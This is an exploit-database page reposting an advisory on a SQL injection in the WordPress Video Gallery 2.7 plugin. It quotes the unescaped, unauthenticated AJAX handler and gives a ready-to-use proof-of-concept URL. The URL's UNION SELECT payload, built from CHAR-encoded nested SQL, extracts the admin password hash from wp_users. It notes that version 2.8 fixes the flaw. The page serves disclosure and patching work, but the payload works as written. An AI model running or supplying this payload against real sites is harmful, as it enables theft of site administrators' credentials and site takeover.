[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WordPress Video Gallery 2.7 SQL Injection Vulnerability

Author
Kacper Szurek
Risk
[
Security Risk High
]
0day-ID
0day-ID-24001
Category
web applications
Date add
09-08-2015
Platform
php
# Exploit Title: WordPress Video Gallery 2.7 SQL Injection
# Date: 20-01-2015
# Software Link: https://wordpress.org/plugins/contus-video-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
$_GET['vid'] is not escaped.

google_adsense() is accessible for everyone.

File: contus-video-gallery\hdflvvideoshare.php

add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
	global $wpdb;
	$vid = $_GET['vid'];
	$google_adsense_id =  $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
	$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
	$google_adsense = unserialize($query);
	echo $google_adsense['googleadsense_code'];
	die();
}

http://security.szurek.pl/wordpress-video-gallery-27-sql-injection.html

2. Proof of Concept

http://wordpress-url/wp-admin/admin-ajax.php?action=googleadsense&vid=0 UNION SELECT CAST(CHAR(48, 32, 85, 78, 73, 79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 67, 79, 78, 67, 65, 84, 40, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 57, 55, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 56, 44, 32, 49, 50, 51, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 54, 44, 32, 53, 56, 44, 32, 51, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 49, 44, 32, 49, 49, 49, 44, 32, 49, 48, 51, 44, 32, 49, 48, 56, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 57, 53, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 48, 44, 32, 49, 48, 49, 44, 32, 51, 52, 44, 32, 53, 57, 44, 32, 49, 49, 53, 44, 32, 53, 56, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 76, 69, 78, 71, 84, 72, 40, 117, 115, 101, 114, 95, 112, 97, 115, 115, 41, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 53, 56, 44, 32, 51, 52, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 117, 115, 101, 114, 95, 112, 97, 115, 115, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 51, 52, 44, 32, 53, 57, 44, 32, 49, 50, 53, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 41, 32, 70, 82, 79, 77, 32, 119, 112, 95, 117, 115, 101, 114, 115, 32, 87, 72, 69, 82, 69, 32, 73, 68, 32, 61, 32, 49) as CHAR)
  
3. Solution:
  
Update to version 2.8

#  0day.today [2024-09-19]  #